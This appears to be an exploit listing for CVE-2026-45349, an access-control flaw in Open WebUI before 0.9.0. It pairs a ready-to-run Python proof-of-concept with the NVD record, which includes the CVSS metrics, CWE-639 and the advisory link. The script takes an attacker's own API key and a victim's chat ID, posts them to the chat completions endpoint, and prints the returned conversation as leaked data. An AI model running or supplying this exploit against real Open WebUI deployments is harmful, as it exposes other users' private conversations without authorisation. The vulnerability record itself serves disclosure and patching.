CVE-2026-45349

import requests # Configuration TARGET_URL = "http://target-open-webui-instance/api/chat/completions" ATTACKER_API_KEY = "attacker_api_key_here" # API key generated by attacker VICTIM_CHAT_ID = "victim_chat_id_here" # Chat ID of the victim # Headers headers = { "Authorization": f"Bearer {ATTACKER_API_KEY}", "Content-Type": "application/json" } # Payload payload = { "chat_id": VICTIM_CHAT_ID, "prompt": "Continue the conversation" } # Send request response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Leaked data:") print(response.json()) else: print("[-] Exploit failed.") print(response.text)

{"cve": {"id": "CVE-2026-45349", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:48.823", "lastModified": "2026-05-15T20:16:48.823", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a user just needs to use the API endpoint: /api/chat/completions with their own API key (generated in OWUI) and the Chat ID of another user to continue the conversation of the other user. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gfm2-xm6c-37qc", "source": "[email protected]"}]}}